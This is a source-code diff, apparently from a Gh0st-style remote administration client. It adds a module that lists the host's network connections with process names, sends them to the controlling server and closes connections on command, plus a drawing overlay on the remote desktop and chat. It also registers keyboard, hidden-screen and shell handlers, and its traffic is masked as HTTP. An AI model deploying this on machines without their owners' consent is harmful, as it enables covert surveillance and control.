||||
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CChatManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CMachineManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CConnectionsManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
|
||||
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||
@@ -0,0 +1,239 @@
|
||||
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ConnectionsManager.h"
|
||||
#include "Common.h"
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <tcpmib.h>
|
||||
#include <udpmib.h>
|
||||
#include <vector>
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
|
||||
#if ENABLE_CONNECTION_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendConnectionList();
|
||||
}
|
||||
|
||||
CConnectionsManager::~CConnectionsManager()
|
||||
{
|
||||
}
|
||||
|
||||
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
|
||||
static void ResolveProcName(DWORD pid, char* out, int outLen)
|
||||
{
|
||||
if (outLen <= 0) return;
|
||||
out[0] = 0;
|
||||
if (pid == 0) {
|
||||
strcpy_s(out, outLen, "System Idle Process");
|
||||
return;
|
||||
}
|
||||
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (h == NULL) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
wchar_t wpath[MAX_PATH] = { 0 };
|
||||
DWORD len = MAX_PATH;
|
||||
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
|
||||
CloseHandle(h);
|
||||
if (!ok) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
wchar_t* base = wcsrchr(wpath, L'\\');
|
||||
base = base ? base + 1 : wpath;
|
||||
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
out[outLen - 1] = 0;
|
||||
}
|
||||
|
||||
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
|
||||
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
|
||||
static void PutAddr4(uint8_t* out, DWORD addrNet)
|
||||
{
|
||||
out[0] = (uint8_t)(addrNet >> 24);
|
||||
out[1] = (uint8_t)(addrNet >> 16);
|
||||
out[2] = (uint8_t)(addrNet >> 8);
|
||||
out[3] = (uint8_t)(addrNet);
|
||||
}
|
||||
|
||||
static DWORD GetAddr4(const uint8_t* addr)
|
||||
{
|
||||
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
|
||||
}
|
||||
|
||||
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 1;
|
||||
info.af = AF_INET;
|
||||
info.pid = r.dwOwningPid;
|
||||
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
|
||||
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
|
||||
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||
info.state = r.dwState;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 1;
|
||||
info.af = AF_INET6;
|
||||
info.pid = r.dwOwningPid;
|
||||
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
|
||||
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||
info.state = r.dwState;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 2;
|
||||
info.af = AF_INET;
|
||||
info.pid = r.dwOwningPid;
|
||||
PutAddr4(info.localAddr, r.dwLocalAddr);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
info.state = 0;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 2;
|
||||
info.af = AF_INET6;
|
||||
info.pid = r.dwOwningPid;
|
||||
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
info.state = 0;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
VOID CConnectionsManager::SendConnectionList()
|
||||
{
|
||||
std::vector<ConnectionInfo> rows;
|
||||
AppendTcp4(rows);
|
||||
AppendTcp6(rows);
|
||||
AppendUdp4(rows);
|
||||
AppendUdp6(rows);
|
||||
|
||||
size_t count = rows.size();
|
||||
if (count > 0xFFFF) count = 0xFFFF;
|
||||
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
|
||||
if (szBuffer == NULL) return;
|
||||
szBuffer[0] = TOKEN_CONNECTION_LIST;
|
||||
uint16_t cnt = (uint16_t)count;
|
||||
memcpy(szBuffer + 1, &cnt, 2);
|
||||
for (size_t i = 0; i < count; ++i)
|
||||
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
|
||||
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
|
||||
{
|
||||
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
|
||||
if (info.proto != 1 || info.af != AF_INET) return;
|
||||
|
||||
MIB_TCPROW row = { 0 };
|
||||
row.dwState = MIB_TCP_STATE_DELETE_TCB;
|
||||
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
|
||||
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
|
||||
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
|
||||
row.dwRemotePort = (DWORD)htons(info.remotePort);
|
||||
SetTcpEntry(&row);
|
||||
}
|
||||
|
||||
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_CONNECTION: // 刷新
|
||||
SendConnectionList();
|
||||
break;
|
||||
case COMMAND_KILL_CONNECTION: // 强制断开
|
||||
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
|
||||
ConnectionInfo info;
|
||||
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
|
||||
KillConnection(info);
|
||||
}
|
||||
SendConnectionList();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
// ConnectionsManager.h: interface for the CConnectionsManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#if ENABLE_CONNECTION_MNG==0
|
||||
#define CConnectionsManager CManager
|
||||
#else
|
||||
|
||||
class CConnectionsManager : public CManager
|
||||
{
|
||||
public:
|
||||
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConnectionsManager();
|
||||
VOID SendConnectionList();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void KillConnection(const ConnectionInfo& info);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||
@@ -0,0 +1,290 @@
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#define MSG_CLEAR 999
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
|
||||
{
|
||||
m_fAlpha = 150;
|
||||
m_bIsWorking = TRUE;
|
||||
m_bTopMost = TRUE;
|
||||
m_hWnd = NULL;
|
||||
m_textColor = RGB(255,0,0);
|
||||
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
|
||||
BYTE bToken = TOKEN_DRAWING_BOARD;
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
}
|
||||
|
||||
DrawingBoardMgr::~DrawingBoardMgr()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
while (m_hWnd)
|
||||
Sleep(200);
|
||||
DeleteObject(m_DrawPen);
|
||||
DeleteObject(m_Font);
|
||||
}
|
||||
|
||||
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
|
||||
{
|
||||
Mprintf("Start DrawingThreadProc\n");
|
||||
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
|
||||
pThis->RunWindowThread();
|
||||
pThis->m_bIsWorking = FALSE;
|
||||
Mprintf("Stop DrawingThreadProc\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::RunWindowThread()
|
||||
{
|
||||
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
|
||||
static bool s_classRegistered = false;
|
||||
if (!s_classRegistered) {
|
||||
WNDCLASSEX wc = {};
|
||||
wc.cbSize = sizeof(WNDCLASSEX);
|
||||
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
|
||||
wc.hInstance = GetModuleHandle(NULL);
|
||||
wc.lpszClassName = CLASS_NAME;
|
||||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
||||
wc.hIcon = NULL; // 标题栏图标
|
||||
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
|
||||
if (!RegisterClassEx(&wc)) {
|
||||
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
|
||||
}
|
||||
s_classRegistered = true;
|
||||
}
|
||||
|
||||
DWORD dwStyle = WS_POPUP | WS_BORDER;
|
||||
m_hWnd = CreateWindowEx(
|
||||
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
|
||||
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
|
||||
NULL, NULL, GetModuleHandle(NULL), this
|
||||
);
|
||||
if (m_hWnd == NULL) return;
|
||||
|
||||
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
|
||||
style |= WS_BORDER; // 增加窄边框
|
||||
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
|
||||
SetWindowLong(m_hWnd, GWL_STYLE, style);
|
||||
|
||||
// 去掉系统菜单
|
||||
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
BringWindowToTop(m_hWnd);
|
||||
|
||||
// 透明度
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
|
||||
ShowWindow(m_hWnd, SW_SHOW);
|
||||
UpdateWindow(m_hWnd);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
Sleep(1);
|
||||
}
|
||||
if (m_hWnd)
|
||||
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
|
||||
m_hWnd = NULL; // 线程退出后,窗口已销毁
|
||||
}
|
||||
|
||||
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
DrawingBoardMgr* pThis = nullptr;
|
||||
|
||||
if (msg == WM_NCCREATE) {
|
||||
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
|
||||
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
|
||||
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
|
||||
}
|
||||
else {
|
||||
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
|
||||
}
|
||||
|
||||
if (pThis) {
|
||||
switch (msg) {
|
||||
case WM_GETICON:
|
||||
return NULL;
|
||||
case WM_WINDOWPOSCHANGED:
|
||||
{
|
||||
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
|
||||
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
|
||||
// 如果窗口层级被改变,重新设置为顶层
|
||||
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case WM_PAINT:
|
||||
{
|
||||
PAINTSTRUCT ps;
|
||||
HDC hdc = BeginPaint(hWnd, &ps);
|
||||
|
||||
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
|
||||
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
|
||||
pThis->m_locker.lock();
|
||||
auto paths = pThis->m_Paths;
|
||||
auto currentPath = pThis->m_CurrentPath;
|
||||
auto texts = pThis->m_Texts;
|
||||
pThis->m_locker.unlock();
|
||||
// 画所有历史路径
|
||||
for (const auto& path : paths)
|
||||
{
|
||||
if (path.size() >= 2)
|
||||
Polyline(hdc, path.data(), (int)path.size());
|
||||
}
|
||||
|
||||
// 画当前路径
|
||||
if (currentPath.size() >= 2)
|
||||
{
|
||||
Polyline(hdc, currentPath.data(), (int)currentPath.size());
|
||||
}
|
||||
|
||||
// 绘制文字
|
||||
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
|
||||
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
|
||||
for (const auto& entry : texts)
|
||||
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
|
||||
|
||||
SelectObject(hdc, hOldPen);
|
||||
SelectObject(hdc, hOldFont);
|
||||
|
||||
EndPaint(hWnd, &ps);
|
||||
return 0;
|
||||
}
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return 0;
|
||||
case MSG_CLEAR:
|
||||
pThis->m_locker.lock();
|
||||
pThis->m_Paths.clear();
|
||||
pThis->m_CurrentPath.clear();
|
||||
pThis->m_Texts.clear();
|
||||
pThis->m_locker.unlock();
|
||||
InvalidateRect(hWnd, NULL, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength < 1) return;
|
||||
|
||||
BYTE cmd = szBuffer[0];
|
||||
|
||||
switch (cmd)
|
||||
{
|
||||
case CMD_DRAW_POINT:
|
||||
if (ulLength == sizeof(POINT) + 1)
|
||||
{
|
||||
POINT pt = *(POINT*)(szBuffer + 1);
|
||||
m_locker.lock();
|
||||
m_CurrentPath.push_back(pt);
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
break;
|
||||
case CMD_DRAW_END:
|
||||
m_locker.lock();
|
||||
if (!m_CurrentPath.empty())
|
||||
{
|
||||
m_Paths.push_back(m_CurrentPath);
|
||||
m_CurrentPath.clear();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
m_locker.unlock();
|
||||
break;
|
||||
case CMD_TRANSPORT:
|
||||
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
break;
|
||||
case CMD_TOPMOST:
|
||||
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
|
||||
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
break;
|
||||
case CMD_MOVEWINDOW:
|
||||
if (ulLength == sizeof(RECT) + 1)
|
||||
{
|
||||
RECT rect = *(RECT*)(szBuffer + 1);
|
||||
if (m_hWnd && IsWindow(m_hWnd))
|
||||
{
|
||||
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
|
||||
rect.right-rect.left, rect.bottom-rect.top,
|
||||
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case CMD_SET_SIZE: {
|
||||
if (ulLength == sizeof(int) * 2 + 1) {
|
||||
int x[2];
|
||||
memcpy(x, szBuffer + 1, sizeof(int) * 2);
|
||||
if (IsWindow(m_hWnd)) {
|
||||
::SetWindowPos(m_hWnd, NULL, 0, 0,
|
||||
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_CLEAR: {
|
||||
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_TEXT: {
|
||||
ParseRemoteText(szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
|
||||
{
|
||||
if (length < sizeof(POINT)) return;
|
||||
|
||||
// 提取位置
|
||||
POINT pt = *(POINT*)data;
|
||||
PBYTE textData = data + sizeof(POINT);
|
||||
int textLen = (int)(length - sizeof(POINT));
|
||||
|
||||
// UTF-8 → WCHAR
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
|
||||
if (wideLen <= 0) return;
|
||||
|
||||
std::wstring wstr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
|
||||
|
||||
#ifdef _UNICODE
|
||||
CString cstr(wstr.c_str());
|
||||
#else
|
||||
// 若项目使用多字节字符集
|
||||
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
std::string cstr;
|
||||
if (ansiLen > 0)
|
||||
{
|
||||
std::string ansi(ansiLen - 1, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
|
||||
cstr = ansi.c_str();
|
||||
}
|
||||
#endif
|
||||
|
||||
// 存入本地图形对象并刷新绘图区域
|
||||
m_locker.lock();
|
||||
m_Texts.push_back(std::make_pair(pt, cstr));
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "common/locker.h"
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
class DrawingBoardMgr : public CManager
|
||||
{
|
||||
public:
|
||||
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
~DrawingBoardMgr();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
void ParseRemoteText(PBYTE data, ULONG length);
|
||||
|
||||
private:
|
||||
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
|
||||
BOOL m_bTopMost; // 顶层
|
||||
BOOL m_bIsWorking; // 线程状态
|
||||
HWND m_hWnd; // 窗口
|
||||
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
|
||||
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
|
||||
std::vector<std::pair<POINT, std::string>> m_Texts;
|
||||
HFONT m_Font;
|
||||
COLORREF m_textColor;
|
||||
HPEN m_DrawPen;
|
||||
CLocker m_locker;
|
||||
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
|
||||
void RunWindowThread();
|
||||
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
||||
// 初始化V2文件传输模块
|
||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||
if (!m_Signature.empty())
|
||||
if (!m_Signature.empty()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
|
||||
}
|
||||
|
||||
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
||||
SendDriveList();
|
||||
|
||||
@@ -1153,6 +1153,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CHAT: { // 远程交谈(双向聊天)
|
||||
if (!ENABLE_MESSAGE) {
|
||||
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
